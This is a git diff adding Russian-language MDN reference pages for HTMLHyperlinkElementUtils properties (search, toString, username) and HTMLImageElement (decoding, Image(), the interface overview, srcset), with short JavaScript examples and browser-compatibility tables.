+<p>Свойство <strong><code>HTMLHyperlinkElementUtils.search</code></strong> <span class="st">–</span> это {{domxref("USVString")}}, содержащий <code>'?'</code> с последующими параметрами URL.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>string</em> = <em>object</em>.search;
+<em>object</em>.search = <em>string</em>;
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">// Допустим, что документ содержит элемент &lt;a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.search?q=123"&gt;
+var anchor = document.getElementById("myAnchor");
+var result = anchor.search; // Вернет: '?q=123'
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-hyperlink-search', 'HTMLHyperlinkElementUtils.search')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+   <td>{{CompatGeckoDesktop("22")}} [2]</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+   <td>{{CompatGeckoMobile("22")}} [2]</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Хотя оно и не включено в один абстрактный интерфейс, это свойство напрямую доступно в интерфейсах, которые его реализуют.</p>
+
+<p>[2] С Gecko 22 по Gecko 44, это свойство находилось в <code>URLUtils</code>. Оно было перемещено или в <code>HTMLHyperlinkElementUtils</code>, или напрямую в интерфейс.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Миксин {{domxref("HTMLHyperlinkElementUtils")}}, к которому принадлежит это свойство.</li>
+</ul>
diff --git a/files/ru/web/api/htmlhyperlinkelementutils/tostring/index.html b/files/ru/web/api/htmlhyperlinkelementutils/tostring/index.html
new file mode 100644
index 0000000000..aa8d9362c0
--- /dev/null
+++ b/files/ru/web/api/htmlhyperlinkelementutils/tostring/index.html
@@ -0,0 +1,106 @@
+---
+title: HTMLHyperlinkElementUtils.toString()
+slug: Web/API/HTMLHyperlinkElementUtils/toString
+tags:
+  - API
+  - Experimental
+  - HTMLHyperlinkElementUtils
+  - Location
+  - Method
+  - Stringifier
+  - URL API
+translation_of: Web/API/HTMLHyperlinkElementUtils/toString
+---
+<p>{{ApiRef("URL API")}}</p>
+
+<p>Метод <strong><code>HTMLHyperlinkElementUtils.toString()</code></strong> возвращает {{domxref("USVString")}}, содержащий URL целиком. Это версия {{domxref("HTMLHyperlinkElementUtils.href")}} только для чтения.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>string</em> = <em>object</em>.toString();</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">// <code class="language-js"><span class="comment token">Допустим, что документ содержит элемент</span></code> &lt;a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils/toString"&gt;
+var anchor = document.getElementById("myAnchor");
+var result = anchor.toString(); // Вернет: 'https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils/toString'
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#htmlhyperlinkelementutils', 'HTMLHyperlinkElementUtils.toString()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatGeckoDesktop("22")}} [2]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatGeckoMobile("22")}} [2]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+   <td>{{CompatNo}} [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Хотя оно и не включено в один абстрактный интерфейс, это свойство напрямую доступно в интерфейсах, которые его реализуют.</p>
+
+<p>[2] С Gecko 22 по Gecko 44, это свойство находилось в <code>URLUtils</code>. Оно было перемещено или в <code>HTMLHyperlinkElementUtils</code>, или напрямую в интерфейс.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Миксин {{domxref("HTMLHyperlinkElementUtils")}}, к которому принадлежит этот метод.</li>
+</ul>
diff --git a/files/ru/web/api/htmlhyperlinkelementutils/username/index.html b/files/ru/web/api/htmlhyperlinkelementutils/username/index.html
new file mode 100644
index 0000000000..c4da9f8b58
--- /dev/null
+++ b/files/ru/web/api/htmlhyperlinkelementutils/username/index.html
@@ -0,0 +1,104 @@
+---
+title: HTMLHyperlinkElementUtils.username
+slug: Web/API/HTMLHyperlinkElementUtils/username
+tags:
+  - API
+  - Experimental
+  - HTMLHyperlinkElementUtils
+  - Property
+  - URL API
+translation_of: Web/API/HTMLHyperlinkElementUtils/username
+---
+<p>{{ApiRef("URL API")}}</p>
+
+<p>Свойство <strong><code>HTMLHyperlinkElementUtils.username</code></strong> <span class="st">–</span> это {{domxref("USVString")}}, содержащий имя пользователя, указанное перед именем домена.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>string</em> = <em>object</em>.username;
+<em>object</em>.username = <em>string</em>;
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">// Допустим, что документ содержит элемент &lt;a id="myAnchor" href="https://anonymous:flabada@developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.username"&gt;
+var anchor = document.getElementByID("myAnchor");
+var result = anchor.username; // Вернет: 'anonymous'
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-hyperlink-username', 'HTMLHyperlinkElementUtils.username')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("26")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("26")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] С Gecko 26 по Gecko 44, это свойство находилось в <code>URLUtils</code>. Оно было перемещено или в <code>HTMLHyperlinkElementUtils</code>, или напрямую в интерфейс.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Миксин {{domxref("HTMLHyperlinkElementUtils")}}, к которому принадлежит это свойство.</li>
+</ul>
diff --git a/files/ru/web/api/htmlimageelement/decoding/index.html b/files/ru/web/api/htmlimageelement/decoding/index.html
new file mode 100644
index 0000000000..f1c6109bcb
--- /dev/null
+++ b/files/ru/web/api/htmlimageelement/decoding/index.html
@@ -0,0 +1,67 @@
+---
+title: HTMLImageElement.decoding
+slug: Web/API/HTMLImageElement/decoding
+translation_of: Web/API/HTMLImageElement/decoding
+---
+<div>{{APIRef}}</div>
+
+<p>Свойство <strong><code>decoding</code></strong> интерфейса {{domxref("HTMLImageElement")}} предназначено для указания браузеру, как он должен декодировать изображение.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>refStr</var> = <var>imgElem</var>.decoding;
+<var>imgElem</var>.decoding = <var>refStr</var>;</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<p>{{domxref("DOMString")}} предоствляет указания по декодированию. Возможные значения:</p>
+
+<dl>
+ <dd>
+ <ul>
+  <li><strong><code>sync</code></strong>: Декодировать изображение синхронно для отображения одновременно с другим содержимым.</li>
+  <li><strong><code>async</code></strong>: Декодировать содержимое асинхронно для уменьшения задержки в отображении другого содержимого.</li>
+  <li><strong><code>auto</code></strong>: Режим по умолчанию, который не отдаёт предпочтения ни одному режиму декодирования, предоставляя браузеру решать, какой режим для пользователя оптимальнее.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js;highlight:[3]">var img = new Image();
+img.decoding = 'sync';
+img.src = 'img/logo.png';
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'embedded-content.html#dom-img-decoding', 'decoding')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице сгенерирована из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и пришлите нам pull запрос.</div>
+
+<p>{{Compat("api.HTMLImageElement.decoding")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Element/img">&lt;img&gt;: The Image Embed element</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/ru/web/api/htmlimageelement/image/index.html b/files/ru/web/api/htmlimageelement/image/index.html
new file mode 100644
index 0000000000..1c96e0f2d1
--- /dev/null
+++ b/files/ru/web/api/htmlimageelement/image/index.html
@@ -0,0 +1,36 @@
+---
+title: Image()
+slug: Web/API/HTMLImageElement/Image
+translation_of: Web/API/HTMLImageElement/Image
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<div></div>
+
+<div>Конструктор <strong>Image()</strong> создает новый экземпляр HTMLImageElement. Эквивалентно document.createElement ('img').</div>
+
+<h3 id="Конструктор_элемента_Image">Конструктор элемента Image</h3>
+
+<p><span style="line-height: 1.572;">Имеет два необязательных параметра: <strong>ширину</strong> и <strong><span style="line-height: 1.572;"><strong>высоту</strong></span></strong>: </span></p>
+
+<pre class="brush: js">Image([unsigned long <strong>width</strong>, unsigned long <strong>height</strong>])</pre>
+
+<h3 id="Пример"><span style="line-height: 1.572;">Пример</span></h3>
+
+<h5 id="Исходный_код">Исходный код:</h5>
+
+<pre class="brush: js">var img = new Image(100, 200);
+img.src = 'picture.jpg';
+console.log(img);</pre>
+
+<h5 id="Результат">Результат:</h5>
+
+<pre class="brush: html">&lt;img width="100" height="200" src="picture.jpg"&gt;</pre>
+
+
+
+<div class="note">
+<p>Примечание: этот конструктор существует только для истории, и возвращает экземпляр <a href="/en-US/docs/Web/API/HTMLImageElement" style="line-height: 1.572;" title="en/DOM/HTMLImageElement">HTMLImageElement</a><span style="line-height: 1.572;"> точно также, как и</span><span style="line-height: 1.572;"><code> </code></span><code style="font-size: 14px;">document.createElement('img')</code><span style="line-height: 1.572;">.</span></p>
+</div>
+
+<div></div>
diff --git a/files/ru/web/api/htmlimageelement/index.html b/files/ru/web/api/htmlimageelement/index.html
new file mode 100644
index 0000000000..9aedb53ca9
--- /dev/null
+++ b/files/ru/web/api/htmlimageelement/index.html
@@ -0,0 +1,348 @@
+---
+title: HTMLImageElement
+slug: Web/API/HTMLImageElement
+translation_of: Web/API/HTMLImageElement
+---
+<div>{{ApiRef}}</div>
+
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>Интерфейс <code><strong>HTMLImageElement</strong></code>  предоставляет специальные свойства и методы  (расширяя обычный интерфейс {{domxref("HTMLElement")}}  ) для управления вёрсткой и отображением элемента {{HTMLElement("img")}}. </p>
+
+<p>{{InheritanceDiagram(600,120)}} </p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Имя</th>
+   <th scope="col">Тип</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>align</code> {{obsolete_inline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Указывает расположение картинки зависящее от окружающего контента. Возможные значения:  <code>"left"</code>, <code>"right"</code>, <code>"justify"</code>, и <code>"center"</code>.</td>
+  </tr>
+  <tr>
+   <td><code>alt</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Повторяет аттрибут HTML {{htmlattrxref("alt", "img")}} указывающий на запасной контекст картинки.</td>
+  </tr>
+  <tr>
+   <td><code>border</code> {{obsolete_inline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Ширина рамки вокруг картинки. Устарело и вместо него следует использовать свойство CSS {{cssxref("border")}}.</td>
+  </tr>
+  <tr>
+   <td><code>complete</code> {{readonlyInline}}</td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>Возвращает true, если браузер закончил загрузку картинки с ошибкой или успешно. Также возвращает true, когда не установлено значение  {{domxref("HTMLImageElement.src", "src")}}, во всех остальных случаях - false.</td>
+  </tr>
+  <tr>
+   <td><code>crossOrigin</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Является {{domxref("DOMString")}}, с настройками CORS для этого элемента изображения. Дополнительная информация: <a href="https://developer.mozilla.org/en-US/docs/HTML/CORS_settings_attributes">Атрибуты настроек CORS</a>.  </td>
+  </tr>
+  <tr>
+   <td><code>currentSrc</code>{{readonlyInline}}{{experimental_inline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Возвращает {{domxref("DOMString")}} с URL-адресом текущего изображения (что может измениться, например, в ответ на запросы мультимедиа).</td>
+  </tr>
+  <tr>
+   <td><code>height</code></td>
+   <td><code>unsigned long</code></td>
+   <td>Отражает атрибут {{htmlattrxref ("height", "img")}} HTML, указывая визуализированную высоту изображения в пикселях CSS.</td>
+  </tr>
+  <tr>
+   <td><code>hspace</code> {{obsolete_inline}}</td>
+   <td><code>long</code></td>
+   <td>Space to the left and right of the image.</td>
+  </tr>
+  <tr>
+   <td><code>isMap</code></td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>Reflects the {{htmlattrxref("ismap", "img")}} HTML attribute, indicating that the image is part of a server-side image map.</td>
+  </tr>
+  <tr>
+   <td><code>longDesc</code> {{obsolete_inline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>URI of a long description of the image.</td>
+  </tr>
+  <tr>
+   <td><code>lowSrc</code> {{obsolete_inline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>A reference to a low-quality (but faster to load) copy of the image.</td>
+  </tr>
+  <tr>
+   <td><code>name</code> {{obsolete_inline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>naturalHeight</code> {{readonlyInline}}</td>
+   <td><code>unsigned long</code></td>
+   <td>Intrinsic height of the image in CSS pixels, if it is available; otherwise, <code>0</code>.</td>
+  </tr>
+  <tr>
+   <td><code>naturalWidth</code> {{readonlyInline}}</td>
+   <td><code>unsigned long</code></td>
+   <td>Intrinsic width of the image in CSS pixels, if it is available; otherwise, <code>0</code>.</td>
+  </tr>
+  <tr>
+   <td><code>src</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflects the {{htmlattrxref("src")}} HTML attribute, containing the URL of the image.</td>
+  </tr>
+  <tr>
+   <td><code>srcset</code> {{experimental_inline}}</td>
+   <td> </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>useMap</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Reflects the {{htmlattrxref("usemap", "img")}} HTML attribute, containing a partial URL of a map element.</td>
+  </tr>
+  <tr>
+   <td><code>vspace</code> {{obsolete_inline}}</td>
+   <td><code>long</code></td>
+   <td>Space above and below the image.</td>
+  </tr>
+  <tr>
+   <td><code>width</code></td>
+   <td><code>unsigned long</code></td>
+   <td>Reflects the {{htmlattrxref("width", "img")}} HTML attribute, indicating the rendered width of the image in CSS pixels.</td>
+  </tr>
+  <tr>
+   <td><code>x</code> {{readonlyInline}}{{non-standard_inline}}</td>
+   <td><code>long</code></td>
+   <td>The horizontal offset from the nearest layer. (Mimic an old Netscape 4 behavior)</td>
+  </tr>
+  <tr>
+   <td><code>y</code> {{readonlyInline}}{{non-standard_inline}}</td>
+   <td><code>long</code></td>
+   <td>The vertical offset from the nearest layer. (Mimic an old Netscape 4 behavior)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Наследует методы родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLImageElement.Image()")}}</dt>
+ <dd>The <code>Image()</code> constructor, taking two optional <code>unsigned</code> <code>long</code>, the width and the height of the resource, creates an instance of <code>HTMLImageElement</code> not inserted in a DOM tree.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var img1 = new Image(); // Конструктор HTML5
+img1.src = 'image1.png';
+img1.alt = 'alt';
+document.body.appendChild(img1);
+
+var img2 = document.createElement('img'); // Используем <a href="http://mxr.mozilla.org/mozilla-central/source/dom/interfaces/html/nsIDOMHTMLImageElement.idl" title="http://mxr.mozilla.org/mozilla-central/source/dom/interfaces/html/nsIDOMHTMLImageElement.idl">HTMLImageElement</a>
+img2.src = 'image2.jpg';
+img2.alt = 'alt text';
+document.body.appendChild(img2);
+
+// выбираем первое изображение на странице
+alert(document.images[0].src);
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "text-level-semantics.html#the-a-element", "HTMLAnchorElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>The following property has been added: <code>srcset</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "text-level-semantics.html#the-a-element", "HTMLAnchorElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>A constructor (with 2 optional parameters) has been added.<br>
+    The following properties are now obsolete: <code>name</code>, <code>border</code>, <code>align</code>, <code>hspace</code>, <code>vspace</code>, and <code>longdesc</code>.<br>
+    The following properties are now <code>unsigned long</code>, instead of <code>long</code>: <code>height</code>, and <code>width</code>.<br>
+    The following properties have been added: <code>crossorigin</code>, <code>naturalWidth</code>, <code>naturalHeight</code>, and <code>complete</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-17701901', 'HTMLImgElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>The <code>lowSrc</code> property has been removed.<br>
+    The following properties are now <code>long</code>, instead of <code>DOMString</code>: <code>height</code>, <code>width</code>, <code>hspace</code>, and <code>vspace</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-17701901', 'HTMLImgElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Общая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>lowSrc</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>naturalWidth</code>, <code>naturalHeight</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>crossorigin</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>complete</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>srcset</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>x</code> and <code>y</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Общая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>lowSrc</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>naturalWidth</code>, <code>naturalHeight</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>crossorigin</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>complete</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>srcset</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>x</code> and <code>y</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] The <code>x</code> and <code>y</code> properties were removed in Gecko 7.0 {{geckoRelease("7.0")}} but restored in Gecko 14.0 {{geckoRelease("14.0")}} for compatibility reasons.</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>Элемент HTML, реализующий этот интерфейс: {{HTMLElement("img")}}</li>
+</ul>
diff --git a/files/ru/web/api/htmlimageelement/srcset/index.html b/files/ru/web/api/htmlimageelement/srcset/index.html
new file mode 100644
index 0000000000..b4a817c4d3
--- /dev/null
+++ b/files/ru/web/api/htmlimageelement/srcset/index.html
@@ -0,0 +1,126 @@
+---
+title: HTMLImageElement.srcset
+slug: Web/API/HTMLImageElement/srcset
+translation_of: Web/API/HTMLImageElement/srcset
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p><span class="seoSummary">{{domxref("HTMLImageElement")}} свойство <code><strong>srcset</strong></code> </span>это строка, которая определяет один или несколько<span class="seoSummary"> <strong>строк с источниками изображений</strong>, разделённые запятыми (<code>,</code>) и условия для их использования.</span> Каждая строка предлагаемого изображения содержит <strong>URL</strong> картинки и опциональные <strong>ширину</strong> или <strong>пиксельную плотность</strong> которые указывают при каких условия это изображение должно быть использовано вместо основной картинки обозначенной свойством {{domxref("HTMLImageElement.src", "src")}}.</p>
+
+<p>Свойство <code>srcset</code>, вместе с {{domxref("HTMLImageElement.sizes", "sizes")}}, критически важный атрибут при разработке адаптивных веб-сайтов, ведь они могут использоваться вместе для создания адаптивных страниц, использующих подходящие изображения при определённых условиях.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>htmlImageElement</em>.srcset = <em>imageCandidateStrings</em>;
+let <em>srcset</em> = <em>htmlImageElement</em>.srcset;
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>A {{domxref("USVString")}} containing a comma-separated list of one or more image candidate strings to be used when determining which image resource to present inside the {{HTMLElement("img")}} element represented by the <code>HTMLImageElement</code><em>.</em></p>
+
+<p>Each image candidate string must begin with a valid URL referencing a non-interactive graphic resource. This is followed by a comma (<code>,</code>) character and then a condition descriptor that indicates the circumstances in which the indicated image should be used. Space characters, other than the whitespace separating the URL and the corresponding condition descriptor, are ignored; this includes both leading and trailing space, as well as space before or after each comma.</p>
+
